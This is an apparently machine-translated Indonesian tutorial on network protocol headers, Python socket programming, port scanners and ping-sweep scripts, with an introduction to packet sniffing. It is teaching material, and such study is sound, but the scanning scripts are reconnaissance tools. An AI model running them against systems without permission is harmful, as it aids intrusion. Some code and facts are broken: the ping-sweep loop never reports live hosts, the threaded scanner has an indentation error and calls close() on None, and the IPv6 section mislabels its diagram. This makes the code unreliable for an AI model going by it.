Poin Kode Layanan yang Dibedakan; ini adalah Jenis Layanan.

ECN

Pemberitahuan Kemacetan Eksplisit; itu membawa informasi tentang kemacetan yang terlihat di rute.

Panjang total

Panjang seluruh Paket IP (termasuk header IP dan Payload IP).

Identifikasi

Jika paket IP terfragmentasi selama transmisi, semua fragmen berisi nomor identifikasi yang sama.

Bendera

Seperti yang dipersyaratkan oleh sumber daya jaringan, jika Paket IP terlalu besar untuk ditangani, 'tanda' ini memberi tahu apakah mereka dapat terfragmentasi atau tidak. Dalam flag 3-bit ini, MSB selalu disetel ke '0'.

Fragmen Offset

Offset ini memberi tahu posisi pasti dari fragmen dalam Paket IP asli.

Saatnya Hidup

Untuk menghindari perulangan di jaringan, setiap paket dikirim dengan beberapa nilai TTL yang ditetapkan, yang memberi tahu jaringan berapa banyak router (hop) yang dapat dilintasi paket ini. Pada setiap hop, nilainya berkurang satu dan ketika nilainya mencapai nol, paket tersebut akan dibuang.

Protokol

Memberi tahu lapisan Jaringan di host tujuan, di mana Protokol milik paket ini, yaitu, Protokol tingkat berikutnya. Misalnya, nomor protokol ICMP adalah 1, TCP adalah 6 dan UDP adalah 17.

Header Checksum

Bidang ini digunakan untuk menyimpan nilai checksum dari seluruh header, yang kemudian digunakan untuk memeriksa apakah paket diterima tanpa kesalahan.

Alamat sumber

Alamat 32-bit dari Pengirim (atau sumber) paket.

Alamat tujuan

Alamat 32-bit Penerima (atau tujuan) paket.

Pilihan

Ini adalah bidang opsional, yang digunakan jika nilai IHL lebih besar dari 5. Opsi ini mungkin berisi nilai untuk opsi seperti Keamanan, Rute Rekam, Cap Waktu, dll.

Jika Anda ingin mempelajari IPv4 secara detail, silakan merujuk ke tautan ini - www.tutorialspoint.com/ipv4/index.htm

IPv6

Protokol Internet versi 6 adalah protokol komunikasi terbaru, yang seperti pendahulunya IPv4 bekerja pada Lapisan Jaringan (Layer-3). Bersamaan dengan penawarannya sejumlah besar ruang alamat logis, protokol ini memiliki banyak fitur, yang mengatasi kekurangan IPv4. Berikut adalah diagram header IPv4 beserta deskripsi field -

Versi (4-bits)

Ini mewakili versi Internet Protocol - 0110.

Kelas Lalu Lintas (8-bit)

8 bit ini dibagi menjadi dua bagian. 6 bit paling signifikan digunakan untuk Type of Service agar Router mengetahui layanan apa yang harus disediakan untuk paket ini. 2 bit paling tidak signifikan digunakan untuk Explicit Congestion Notification (ECN).

Label Aliran (20-bit)

Label ini digunakan untuk menjaga aliran sekuensial dari paket-paket milik suatu komunikasi. Sumber memberi label urutan untuk membantu router mengidentifikasi bahwa paket tertentu milik aliran informasi tertentu. Bidang ini membantu menghindari pengurutan ulang paket data. Ini dirancang untuk streaming / media waktu nyata.

Panjang Muatan (16-bit)

Bidang ini digunakan untuk memberi tahu router berapa banyak informasi yang terkandung dalam paket tertentu dalam muatannya. Payload terdiri dari data Extension Headers dan Upper Layer. Dengan 16 bit, hingga 65535 byte dapat diindikasikan; tetapi jika Extension Header berisi Hop-by-Hop Extension Header, maka payload mungkin melebihi 65535 byte dan field ini disetel ke 0.

Header Berikutnya (8-bit)

Entah bidang ini digunakan untuk menunjukkan jenis Ekstensi Header, atau jika Ekstensi Header tidak ada maka itu menunjukkan PDU Lapisan Atas. Nilai untuk jenis PDU Lapisan Atas sama dengan IPv4.

Batas Hop (8-bit)

Bidang ini digunakan untuk menghentikan paket ke loop di jaringan tanpa batas. Ini sama dengan TTL di IPv4. Nilai bidang Hop Limit dikurangi 1 saat melewati link (router / hop). Ketika field mencapai 0, paket akan dibuang.

Alamat Sumber (128-bit)

Bidang ini menunjukkan alamat pembuat paket.

Alamat Tujuan (128-bit)

Bidang ini memberikan alamat penerima paket yang dituju.

Jika Anda ingin mempelajari IPv6 secara detail, silakan merujuk ke tautan ini - www.tutorialspoint.com/ipv6/index.htm

Arsitektur Header TCP (Transmission Control Protocol)

Seperti yang kita ketahui bahwa TCP adalah protokol berorientasi koneksi, di mana sesi dibuat antara dua sistem sebelum memulai komunikasi. Koneksi akan ditutup setelah komunikasi selesai. TCP menggunakan teknik jabat tangan tiga arah untuk menetapkan soket koneksi antara dua sistem. Jabat tangan tiga arah berarti tiga pesan - SYN, SYN-ACK, dan ACK, dikirim bolak-balik antara dua sistem. Langkah-langkah kerja antara dua sistem, sistem inisiasi dan target, adalah sebagai berikut -

Step 1 − Packet with SYN flag set

Pertama-tama sistem yang mencoba untuk memulai koneksi dimulai dengan paket yang memiliki set flag SYN.

Step 2 − Packet with SYN-ACK flag set

Sekarang, pada langkah ini sistem target mengembalikan paket dengan set flag SYN dan ACK.

Step 3 − Packet with ACK flag set

Akhirnya, sistem yang memulai akan mengembalikan paket ke sistem target asli dengan set flag ACK.

Berikut adalah diagram header TCP beserta deskripsi field -

Port Sumber (16-bit)

Ini mengidentifikasi port sumber dari proses aplikasi pada perangkat pengirim.

Port Tujuan (16-bit)

Ini mengidentifikasi port tujuan dari proses aplikasi pada perangkat penerima.

Nomor Urutan (32-bit)

Nomor urutan byte data segmen dalam satu sesi.

Nomor Pengakuan (32-bit)

Ketika bendera ACK diset, nomor ini berisi nomor urut berikutnya dari data byte yang diharapkan dan berfungsi sebagai pengakuan dari data sebelumnya yang diterima.

Offset Data (4-bit)

Bidang ini menyiratkan baik ukuran header TCP (kata 32-bit) dan offset data dalam paket saat ini di seluruh segmen TCP.

Dipesan (3-bit)

Dicadangkan untuk penggunaan di masa mendatang dan disetel ke nol secara default.

Bendera (masing-masing 1-bit)

  • NS - Proses pensinyalan Pemberitahuan Kemacetan Eksplisit menggunakan bit Nonce Sum ini.

  • CWR - Ketika sebuah host menerima paket dengan set bit ECE, ia mengatur Congestion Windows Reduced untuk menyatakan bahwa ECE diterima.

  • ECE - Ini memiliki dua arti -

    • Jika bit SYN jelas ke 0, maka ECE berarti paket IP memiliki set bit CE (congestion experience).

    • Jika SYN bit diatur ke 1, ECE berarti perangkat tersebut mampu ECT.

  • URG - Ini menunjukkan bahwa bidang Pointer Urgent memiliki data yang signifikan dan harus diproses.

  • ACK- Ini menunjukkan bahwa bidang Pengakuan memiliki signifikansi. Jika ACK dihapus ke 0, itu menunjukkan bahwa paket tidak mengandung pengakuan apapun.

  • PSH - Ketika diatur, ini adalah permintaan ke stasiun penerima untuk data PUSH (segera setelah datang) ke aplikasi penerima tanpa melakukan buffering.

  • RST - Atur ulang bendera memiliki beberapa fitur berikut -

    • Ini digunakan untuk menolak koneksi masuk.

    • Ini digunakan untuk menolak segmen.

    • Ini digunakan untuk memulai kembali koneksi.

  • SYN - Bendera ini digunakan untuk mengatur koneksi antar host.

  • FIN- Bendera ini digunakan untuk melepaskan koneksi dan tidak ada lagi data yang dipertukarkan setelahnya. Karena paket dengan flag SYN dan FIN memiliki nomor urut, mereka diproses dalam urutan yang benar.

Ukuran Windows

Bidang ini digunakan untuk kontrol aliran antara dua stasiun dan menunjukkan jumlah buffer (dalam byte) yang telah dialokasikan penerima untuk sebuah segmen, yaitu, berapa banyak data yang diharapkan oleh penerima.

  • Checksum - Field ini berisi checksum dari Header, Data dan Pseudo Headers.

  • Urgent Pointer - Ini menunjuk ke byte data mendesak jika bendera URG disetel ke 1.

  • Options- Ini memfasilitasi opsi tambahan, yang tidak tercakup oleh tajuk biasa. Bidang opsi selalu dijelaskan dalam kata 32-bit. Jika bidang ini berisi data kurang dari 32-bit, padding digunakan untuk menutupi bit yang tersisa untuk mencapai batas 32-bit.

Jika Anda ingin mempelajari TCP secara rinci, silakan merujuk ke tautan ini - https://www.tutorialspoint.com/data_communication_computer_network/transmission_control_protocol.htm

Arsitektur header UDP (User Datagram Protocol)

UDP adalah protokol tanpa sambungan sederhana tidak seperti TCP, protokol berorientasi sambungan. Ini melibatkan jumlah minimum mekanisme komunikasi. Dalam UDP, penerima tidak menghasilkan pengakuan atas paket yang diterima dan sebaliknya, pengirim tidak menunggu pengakuan atas paket yang dikirim. Kekurangan ini membuat protokol ini tidak dapat diandalkan sekaligus lebih mudah dalam pemrosesannya. Berikut adalah diagram header UDP beserta deskripsi field -

Port Sumber

Informasi 16-bit ini digunakan untuk mengidentifikasi port sumber paket.

Pelabuhan Tujuan

Informasi 16-bit ini digunakan untuk mengidentifikasi layanan level aplikasi pada mesin tujuan.

Panjangnya

Kolom panjang menentukan seluruh panjang paket UDP (termasuk header). Ini adalah bidang 16-bit dan nilai minimumnya adalah 8-byte, yaitu ukuran header UDP itu sendiri.

Checksum

Bidang ini menyimpan nilai checksum yang dibuat oleh pengirim sebelum dikirim. IPv4 memiliki bidang ini sebagai opsional sehingga ketika bidang checksum tidak berisi nilai apa pun, itu dibuat 0 dan semua bitnya disetel ke nol.

Untuk mempelajari TCP secara rinci, silakan merujuk ke tautan ini - User Datagram Protocol

Soket adalah titik akhir dari saluran komunikasi dua arah. Mereka dapat berkomunikasi dalam suatu proses, antara proses pada mesin yang sama atau antar proses pada mesin yang berbeda. Pada catatan serupa, soket jaringan adalah salah satu titik akhir dalam aliran komunikasi antara dua program yang berjalan melalui jaringan komputer seperti Internet. Ini murni hal virtual dan tidak berarti perangkat keras apa pun. Soket jaringan dapat diidentifikasi dengan kombinasi unik dari alamat IP dan nomor port. Soket jaringan dapat diimplementasikan pada sejumlah jenis saluran yang berbeda seperti TCP, UDP, dan sebagainya.

Istilah berbeda terkait soket yang digunakan dalam pemrograman jaringan adalah sebagai berikut -

Domain

Domain adalah keluarga protokol yang digunakan sebagai mekanisme transportasi. Nilai-nilai ini adalah konstanta seperti AF_INET, PF_INET, PF_UNIX, PF_X25, dan seterusnya.

Tipe

Jenis berarti jenis komunikasi antara dua titik akhir, biasanya SOCK_STREAM untuk protokol berorientasi sambungan dan SOCK_DGRAM untuk protokol tanpa sambungan.

Protokol

Ini dapat digunakan untuk mengidentifikasi varian protokol dalam domain dan tipe. Nilai standarnya adalah 0. Ini biasanya ditinggalkan.

Nama host

Ini berfungsi sebagai pengenal antarmuka jaringan. Nama host bisa berupa string, alamat titik-titik, atau alamat IPV6 dengan tanda titik dua (dan mungkin titik).

Pelabuhan

Setiap server mendengarkan klien yang memanggil satu atau lebih port. Port bisa berupa nomor port Fixnum, string yang berisi nomor port, atau nama layanan.

Modul Soket Python untuk Pemrograman Soket

Untuk mengimplementasikan pemrograman socket dengan python, kita perlu menggunakan modul Socket. Berikut ini adalah sintaks sederhana untuk membuat Socket -

import socket
s = socket.socket (socket_family, socket_type, protocol = 0)

Di sini, kita perlu mengimpor pustaka soket dan kemudian membuat soket sederhana. Berikut adalah parameter berbeda yang digunakan saat membuat soket -

  • socket_family - Ini adalah AF_UNIX atau AF_INET, seperti yang dijelaskan sebelumnya.

  • socket_type - Ini adalah SOCK_STREAM atau SOCK_DGRAM.

  • protocol - Ini biasanya ditinggalkan, default ke 0.

Metode Socket

Pada bagian ini, kita akan mempelajari berbagai metode soket. Tiga set metode soket yang berbeda dijelaskan di bawah ini -

  • Metode Soket Server
  • Metode Soket Klien
  • Metode Soket Umum

Metode Soket Server

Dalam arsitektur klien-server, ada satu server terpusat yang menyediakan layanan dan banyak klien menerima layanan dari server terpusat tersebut. Klien juga melakukan request ke server. Beberapa metode soket server penting dalam arsitektur ini adalah sebagai berikut -

  • socket.bind() - Metode ini mengikat alamat (nama host, nomor port) ke soket.

  • socket.listen()- Metode ini pada dasarnya mendengarkan koneksi yang dibuat ke soket. Ini memulai pendengar TCP. Backlog adalah argumen dari metode ini yang menentukan jumlah maksimum koneksi antrian. Nilai minimumnya adalah 0 dan nilai maksimumnya adalah 5.

  • socket.accept()- Ini akan menerima koneksi klien TCP. Pasangan (samb, alamat) adalah pasangan nilai kembalian dari metode ini. Di sini, samb adalah objek soket baru yang digunakan untuk mengirim dan menerima data pada koneksi dan alamat adalah alamat yang terikat pada soket. Sebelum menggunakan metode ini, metode socket.bind () dan socket.listen () harus digunakan.

Metode Soket Klien

Klien dalam arsitektur klien-server meminta server dan menerima layanan dari server. Untuk ini, hanya ada satu metode yang didedikasikan untuk klien -

  • socket.connect(address)- Metode ini secara aktif mengintimidasi koneksi server atau dengan kata sederhana metode ini menghubungkan klien ke server. Alamat argumen mewakili alamat server.

Metode Soket Umum

Selain metode soket klien dan server, ada beberapa metode soket umum, yang sangat berguna dalam pemrograman soket. Metode soket umum adalah sebagai berikut -

  • socket.recv(bufsize)- Sesuai namanya, metode ini menerima pesan TCP dari soket. Argumen bufsize adalah singkatan dari ukuran buffer dan mendefinisikan data maksimum yang dapat diterima metode ini pada satu waktu.

  • socket.send(bytes)- Metode ini digunakan untuk mengirim data ke soket yang terhubung ke mesin jarak jauh. Byte argumen akan memberikan jumlah byte yang dikirim ke soket.

  • socket.recvfrom(data, address)- Metode ini menerima data dari soket. Nilai dua pasangan (data, alamat) dikembalikan dengan metode ini. Data menentukan data yang diterima dan alamat menentukan alamat soket yang mengirim data.

  • socket.sendto(data, address)- Sesuai namanya, metode ini digunakan untuk mengirim data dari soket. Nilai dua pasangan (data, alamat) dikembalikan dengan metode ini. Data menentukan jumlah byte yang dikirim dan alamat menentukan alamat mesin jarak jauh.

  • socket.close() - Cara ini akan menutup soket.

  • socket.gethostname() - Metode ini akan mengembalikan nama host.

  • socket.sendall(data)- Metode ini mengirimkan semua data ke soket yang terhubung ke mesin jarak jauh. Ini akan mentransfer data secara sembarangan sampai terjadi kesalahan dan jika itu terjadi maka itu menggunakan metode socket.close () untuk menutup soket.

Program untuk membuat koneksi antara server & klien

Untuk membuat koneksi antara server dan klien, kita perlu menulis dua program Python yang berbeda, satu untuk server dan yang lainnya untuk klien.

Program sisi server

Dalam program soket sisi server ini, kami akan menggunakan socket.bind()metode yang mengikatnya ke alamat dan port IP tertentu sehingga dapat mendengarkan permintaan masuk pada IP dan port tersebut. Nanti, kami menggunakansocket.listen()metode yang menempatkan server ke mode mendengarkan. Angka tersebut, katakanlah 4, sebagai argumen darisocket.listen()Metode berarti bahwa 4 koneksi tetap menunggu jika server sibuk dan jika soket ke-5 mencoba untuk terhubung maka koneksi ditolak. Kami akan mengirim pesan ke klien dengan menggunakansocket.send()metode. Menjelang akhir, kami menggunakansocket.accept() dan socket.close()metode untuk memulai dan menutup koneksi masing-masing. Berikut ini adalah program sisi server -

import socket
def Main():
   host = socket.gethostname()
   port = 12345
   serversocket = socket.socket()
   serversocket.bind((host,port))
   serversocket.listen(1)
   print('socket is listening')
   
   while True:
      conn,addr = serversocket.accept()
      print("Got connection from %s" % str(addr))
      msg = 'Connecting Established'+ "\r\n"
      conn.send(msg.encode('ascii'))
      conn.close()
if __name__ == '__main__':
   Main()

Program sisi klien

Dalam program soket sisi klien, kita perlu membuat objek soket. Kemudian kami akan terhubung ke port tempat server kami berjalan - 12345 dalam contoh kami. Setelah itu kita akan membuat koneksi dengan menggunakansocket.connect()metode. Kemudian dengan menggunakansocket.recv()metode, klien akan menerima pesan dari server. Akhirnya,socket.close() Metode akan menutup klien.

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

host = socket.gethostname()
port = 12345

s.connect((host, port))
msg = s.recv(1024)

s.close()
print (msg.decode('ascii'))

Sekarang, setelah menjalankan program sisi server kita akan mendapatkan output berikut di terminal -

socket is listening
Got connection from ('192.168.43.75', 49904)

Dan setelah menjalankan program sisi klien, kita akan mendapatkan output berikut di terminal lain -

Connection Established

Menangani pengecualian soket jaringan

Ada dua blok yaitu try dan exceptyang dapat digunakan untuk menangani pengecualian soket jaringan. Berikut ini adalah skrip Python untuk menangani pengecualian -

import socket
host = "192.168.43.75"
port = 12345
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

try:
   s.bind((host,port))
   s.settimeout(3)
   data, addr = s.recvfrom(1024)
   print ("recevied from ",addr)
   print ("obtained ", data)
   s.close()
except socket.timeout :
   print ("No connection between client and server")
   s.close()

Keluaran

Program di atas menghasilkan keluaran berikut -

No connection between client and server

Pada skrip di atas, pertama kita membuat objek soket. Ini diikuti dengan memberikan alamat IP host dan nomor port tempat server kami berjalan - 12345 dalam contoh kami. Nantinya, blok try digunakan dan di dalamnya dengan menggunakansocket.bind()metode, kami akan mencoba untuk mengikat alamat IP dan port. Kami menggunakansocket.settimeout()metode untuk mengatur waktu tunggu untuk klien, dalam contoh kami, kami menetapkan 3 detik. Blok kecuali digunakan yang akan mencetak pesan jika koneksi tidak akan dibuat antara server dan klien.

Pemindaian port dapat didefinisikan sebagai teknik pengawasan, yang digunakan untuk menemukan port terbuka yang tersedia pada host tertentu. Administrator jaringan, penguji penetrasi atau peretas dapat menggunakan teknik ini. Kami dapat mengkonfigurasi pemindai port sesuai dengan kebutuhan kami untuk mendapatkan informasi maksimal dari sistem target.

Sekarang, pertimbangkan informasi yang bisa kita dapatkan setelah menjalankan pemindaian port -

  • Informasi tentang port terbuka.

  • Informasi tentang layanan yang berjalan di setiap port.

  • Informasi tentang OS dan alamat MAC dari host target.

Pemindaian port seperti pencuri yang ingin masuk ke sebuah rumah dengan memeriksa setiap pintu dan jendela untuk melihat mana yang terbuka. Sebagaimana dibahas sebelumnya, rangkaian protokol TCP / IP, yang digunakan untuk komunikasi melalui internet, terdiri dari dua protokol yaitu TCP dan UDP. Kedua protokol memiliki 0 hingga 65535 port. Karena selalu disarankan untuk menutup port yang tidak perlu dari sistem kami, maka pada dasarnya, ada lebih dari 65000 pintu (port) untuk dikunci. Port 65535 ini dapat dibagi menjadi tiga rentang berikut -

  • Sistem atau port terkenal: dari 0 hingga 1023

  • Port pengguna atau terdaftar: dari 1024 hingga 49151

  • Port dinamis atau pribadi: semua> 49151

Port Scanner menggunakan Socket

Pada bab sebelumnya, kita membahas apa itu soket. Sekarang, kita akan membangun pemindai port sederhana menggunakan soket. Berikut ini adalah skrip Python untuk pemindai port menggunakan soket -

from socket import *
import time
startTime = time.time()

if __name__ == '__main__':
   target = input('Enter the host to be scanned: ')
   t_IP = gethostbyname(target)
   print ('Starting scan on host: ', t_IP)
   
   for i in range(50, 500):
      s = socket(AF_INET, SOCK_STREAM)
      
      conn = s.connect_ex((t_IP, i))
      if(conn == 0) :
         print ('Port %d: OPEN' % (i,))
      s.close()
print('Time taken:', time.time() - startTime)

Ketika kami menjalankan skrip di atas, ia akan menanyakan nama host, Anda dapat memberikan nama host apa pun seperti nama situs web mana pun tetapi hati-hati karena pemindaian port dapat dilihat sebagai, atau ditafsirkan sebagai kejahatan. Kami tidak boleh menjalankan pemindai port terhadap situs web atau alamat IP apa pun tanpa izin tertulis yang eksplisit dari pemilik server atau komputer yang Anda targetkan. Pemindaian port mirip dengan pergi ke rumah seseorang dan memeriksa pintu dan jendela mereka. Itulah mengapa disarankan untuk menggunakan pemindai port di localhost atau situs web Anda sendiri (jika ada).

Keluaran

Skrip di atas menghasilkan output berikut -

Enter the host to be scanned: localhost
Starting scan on host: 127.0.0.1
Port 135: OPEN
Port 445: OPEN
Time taken: 452.3990001678467

Keluarannya menunjukkan bahwa dalam kisaran 50 hingga 500 (sebagaimana disediakan dalam skrip), pemindai port ini menemukan dua port - port 135 dan 445, terbuka. Kami dapat mengubah kisaran ini dan dapat memeriksa port lain.

Port Scanner menggunakan ICMP (Live host dalam jaringan)

ICMP bukanlah scan port tetapi digunakan untuk melakukan ping ke host jarak jauh untuk memeriksa apakah host sudah aktif. Pemindaian ini berguna ketika kita harus memeriksa sejumlah host langsung di jaringan. Ini melibatkan pengiriman Permintaan ICMP ECHO ke host dan jika host itu hidup, itu akan mengembalikan Balasan ICMP ECHO.

Proses pengiriman permintaan ICMP di atas juga disebut pemindaian ping, yang disediakan oleh perintah ping sistem operasi.

Konsep Ping Sweep

Sebenarnya dalam satu atau lain pengertian, ping sweep juga dikenal sebagai ping sweeping. Satu-satunya perbedaan adalah bahwa penyapuan ping merupakan prosedur untuk menemukan lebih dari satu ketersediaan mesin dalam jangkauan jaringan tertentu. Sebagai contoh, misalkan kita ingin menguji daftar lengkap alamat IP maka dengan menggunakan scan ping, yaitu perintah ping sistem operasi akan sangat memakan waktu untuk memindai alamat IP satu per satu. Itulah mengapa kita perlu menggunakan skrip ping sweep. Berikut ini adalah skrip Python untuk menemukan host langsung dengan menggunakan ping sweep -

import os
import platform

from datetime import datetime
net = input("Enter the Network Address: ")
net1= net.split('.')
a = '.'

net2 = net1[0] + a + net1[1] + a + net1[2] + a
st1 = int(input("Enter the Starting Number: "))
en1 = int(input("Enter the Last Number: "))
en1 = en1 + 1
oper = platform.system()

if (oper == "Windows"):
   ping1 = "ping -n 1 "
elif (oper == "Linux"):
   ping1 = "ping -c 1 "
else :
   ping1 = "ping -c 1 "
t1 = datetime.now()
print ("Scanning in Progress:")

for ip in range(st1,en1):
   addr = net2 + str(ip)
   comm = ping1 + addr
   response = os.popen(comm)
   
   for line in response.readlines():
      if(line.count("TTL")):
         break
      if (line.count("TTL")):
         print (addr, "--> Live")
         
t2 = datetime.now()
total = t2 - t1
print ("Scanning completed in: ",total)

Skrip di atas bekerja dalam tiga bagian. Ini pertama-tama memilih kisaran alamat IP untuk melakukan ping sweep scan dengan membaginya menjadi beberapa bagian. Kemudian dilanjutkan dengan menggunakan fungsi yang akan memilih perintah ping sweeping sesuai sistem operasi, dan terakhir memberikan respon tentang host dan waktu yang dibutuhkan untuk menyelesaikan proses scanning.

Keluaran

Skrip di atas menghasilkan output berikut -

Enter the Network Address: 127.0.0.1
Enter the Starting Number: 1
Enter the Last Number: 100

Scanning in Progress:
Scanning completed in: 0:00:02.711155

Output di atas menunjukkan tidak ada port langsung karena firewall aktif dan pengaturan masuk ICMP juga dinonaktifkan. Setelah mengubah pengaturan ini, kita bisa mendapatkan daftar port langsung dalam kisaran dari 1 hingga 100 yang disediakan dalam output.

Port Scanner menggunakan scan TCP

Untuk membuat koneksi TCP, host harus melakukan jabat tangan tiga arah. Ikuti langkah-langkah ini untuk melakukan tindakan -

Step 1 − Packet with SYN flag set

Pada langkah ini, sistem yang mencoba untuk memulai koneksi dimulai dengan paket yang memiliki set flag SYN.

Step 2 − Packet with SYN-ACK flag set

Pada langkah ini, sistem target mengembalikan paket dengan set flag SYN dan ACK.

Step 3 − Packet with ACK flag set

Akhirnya, sistem yang memulai akan mengembalikan sebuah paket ke sistem target asli dengan set tanda ACK.

Namun demikian, pertanyaan yang muncul disini adalah jika kita dapat melakukan scan port menggunakan metode ICMP echo request and reply (ping sweep scanner) lalu mengapa kita membutuhkan TCP scan? Alasan utama dibaliknya adalah misalkan jika kita mematikan fitur ICMP ECHO reply atau menggunakan firewall ke paket ICMP maka ping sweep scanner tidak akan berfungsi dan kita membutuhkan TCP scan.

import socket
from datetime import datetime
net = input("Enter the IP address: ")
net1 = net.split('.')
a = '.'

net2 = net1[0] + a + net1[1] + a + net1[2] + a
st1 = int(input("Enter the Starting Number: "))
en1 = int(input("Enter the Last Number: "))
en1 = en1 + 1
t1 = datetime.now()

def scan(addr):
   s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
   socket.setdefaulttimeout(1)
   result = s.connect_ex((addr,135))
   if result == 0:
      return 1
   else :
      return 0

def run1():
   for ip in range(st1,en1):
      addr = net2 + str(ip)
      if (scan(addr)):
         print (addr , "is live")
         
run1()
t2 = datetime.now()
total = t2 - t1
print ("Scanning completed in: " , total)

Skrip di atas bekerja dalam tiga bagian. Ini memilih kisaran alamat IP untuk melakukan ping sweep scan dengan membaginya menjadi beberapa bagian. Ini diikuti dengan menggunakan fungsi untuk memindai alamat, yang selanjutnya menggunakan soket. Kemudian, ini memberikan tanggapan tentang tuan rumah dan waktu yang dibutuhkan untuk menyelesaikan proses pemindaian. Hasilnya = s. connect_ex ((addr, 135)) pernyataan mengembalikan indikator kesalahan. Indikator kesalahan adalah 0 jika operasi berhasil, jika tidak, itu adalah nilai variabel errno. Di sini, kami menggunakan port 135; pemindai ini bekerja untuk sistem Windows. Porta lain yang akan berfungsi di sini adalah 445 (Direktori Microsoft-DSActive) dan biasanya terbuka.

Keluaran

Skrip di atas menghasilkan output berikut -

Enter the IP address: 127.0.0.1
Enter the Starting Number: 1
Enter the Last Number: 10

127.0.0.1 is live
127.0.0.2 is live
127.0.0.3 is live
127.0.0.4 is live
127.0.0.5 is live
127.0.0.6 is live
127.0.0.7 is live
127.0.0.8 is live
127.0.0.9 is live
127.0.0.10 is live
Scanning completed in: 0:00:00.230025

Pemindai Port Berulir untuk meningkatkan efisiensi

Seperti yang telah kita lihat pada kasus di atas, pemindaian port bisa menjadi sangat lambat. Misalnya, Anda dapat melihat waktu yang dibutuhkan untuk memindai port dari 50 hingga 500, saat menggunakan pemindai port soket, adalah 452.3990001678467. Untuk meningkatkan kecepatan kita bisa menggunakan threading. Berikut adalah contoh pemindai port menggunakan threading -

import socket
import time
import threading

from queue import Queue
socket.setdefaulttimeout(0.25)
print_lock = threading.Lock()

target = input('Enter the host to be scanned: ')
t_IP = socket.gethostbyname(target)
print ('Starting scan on host: ', t_IP)

def portscan(port):
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   try:
      con = s.connect((t_IP, port))
      with print_lock:
         print(port, 'is open')
      con.close()
   except:
      pass

def threader():
   while True:
      worker = q.get()
      portscan(worker)
      q.task_done()
      
q = Queue()
   startTime = time.time()
   
for x in range(100):
   t = threading.Thread(target = threader)
   t.daemon = True
   t.start()
   
for worker in range(1, 500):
   q.put(worker)
   
q.join()
print('Time taken:', time.time() - startTime)

Pada skrip di atas, kita perlu mengimpor modul threading, yang ada di dalam paket Python. Kami menggunakan konsep penguncian benang,thread_lock = threading.Lock()untuk menghindari beberapa modifikasi sekaligus. Pada dasarnya, threading.Lock () akan memungkinkan satu utas mengakses variabel pada satu waktu. Karenanya, tidak ada modifikasi ganda yang terjadi.

Nanti, kita mendefinisikan satu fungsi threader () yang akan mengambil pekerjaan (port) dari pekerja for loop. Kemudian metode portscan () dipanggil untuk menghubungkan ke port dan mencetak hasilnya. Nomor port dikirimkan sebagai parameter. Setelah tugas selesai, metode q.task_done () dipanggil.

Sekarang setelah menjalankan skrip di atas, kita dapat melihat perbedaan kecepatan untuk memindai 50 hingga 500 port. Hanya membutuhkan waktu 1.3589999675750732 detik, yang sangat kurang dari 452.3990001678467, waktu yang dibutuhkan oleh pemindai port soket untuk memindai jumlah port yang sama dari localhost.

Keluaran

Skrip di atas menghasilkan output berikut -

Enter the host to be scanned: localhost
Starting scan on host: 127.0.0.1
135 is open
445 is open
Time taken: 1.3589999675750732

Sniffing atau sniffing paket jaringan adalah proses memantau dan menangkap semua paket yang melewati jaringan tertentu menggunakan alat sniffing. Ini adalah bentuk di mana, kita dapat "menyadap kabel telepon" dan mengetahui percakapan. Itu juga disebutwiretapping dan dapat diterapkan pada jaringan komputer.

Ada banyak kemungkinan bahwa jika satu set port switch perusahaan terbuka, maka salah satu karyawan mereka dapat mengendus seluruh lalu lintas jaringan. Siapa pun di lokasi fisik yang sama dapat menyambungkan ke jaringan menggunakan kabel Ethernet atau menyambung secara nirkabel ke jaringan itu dan mengendus lalu lintas total.

Dengan kata lain, Sniffing memungkinkan Anda untuk melihat semua jenis lalu lintas, baik yang dilindungi maupun tidak. Dalam kondisi yang tepat dan dengan protokol yang tepat, pihak yang menyerang mungkin dapat mengumpulkan informasi yang dapat digunakan untuk serangan lebih lanjut atau menyebabkan masalah lain bagi jaringan atau pemilik sistem.

Apa yang bisa diendus?

Seseorang dapat mengendus informasi sensitif berikut dari jaringan -

  • Lalu lintas email
  • Kata sandi FTP
  • Lalu lintas web
  • Kata sandi Telnet
  • Konfigurasi router
  • Sesi obrolan
  • Lalu lintas DNS

Bagaimana cara kerja sniffing?

Sebuah sniffer biasanya mengubah NIC sistem ke mode promiscuous sehingga ia mendengarkan semua data yang dikirim pada segmennya.

Modus promiscuous mengacu pada cara unik perangkat keras Ethernet, khususnya, kartu antarmuka jaringan (NIC), yang memungkinkan NIC menerima semua lalu lintas di jaringan, meskipun tidak ditujukan ke NIC ini. Secara default, NIC mengabaikan semua lalu lintas yang tidak ditujukan padanya, yang dilakukan dengan membandingkan alamat tujuan paket Ethernet dengan alamat perangkat keras (MAC) perangkat. Meskipun ini masuk akal untuk jaringan, mode non-promiscuous mempersulit penggunaan perangkat lunak pemantauan dan analisis jaringan untuk mendiagnosis masalah konektivitas atau penghitungan lalu lintas.

Seorang sniffer dapat terus memantau semua lalu lintas ke komputer melalui NIC dengan mendekode informasi yang dikemas dalam paket data.

Jenis Mengendus

Mengendus dapat bersifat Aktif atau Pasif. Sekarang kita akan belajar tentang berbagai jenis sniffing.

Mengendus Pasif

Dalam sniffing pasif, lalu lintas dikunci tetapi tidak diubah dengan cara apa pun. Sniffing pasif hanya memungkinkan mendengarkan. Ia bekerja dengan perangkat Hub. Pada perangkat hub, lalu lintas dikirim ke semua port. Dalam jaringan yang menggunakan hub untuk menghubungkan sistem, semua host di jaringan dapat melihat lalu lintas. Oleh karena itu, penyerang dapat dengan mudah menangkap lalu lintas yang dilalui.

Kabar baiknya adalah hub hampir menjadi usang belakangan ini. Sebagian besar jaringan modern menggunakan sakelar. Karenanya, mengendus pasif tidak lagi efektif.

Mengendus Aktif

Dalam aktif mengendus, lalu lintas tidak hanya dikunci dan dipantau, tetapi juga dapat diubah dalam beberapa cara yang ditentukan oleh serangan tersebut. Pengendusan aktif digunakan untuk mengendus jaringan berbasis sakelar. Ini melibatkan menyuntikkan paket resolusi alamat (ARP) ke jaringan target untuk membanjiri tabel switch content addressable memory (CAM). CAM melacak host mana yang terhubung ke port mana.

Berikut ini adalah Teknik Mengendus Aktif -

  • Banjir MAC
  • Serangan DHCP
  • Keracunan DNS
  • Serangan Spoofing
  • Keracunan ARP

The Sniffing Effects on Protocols

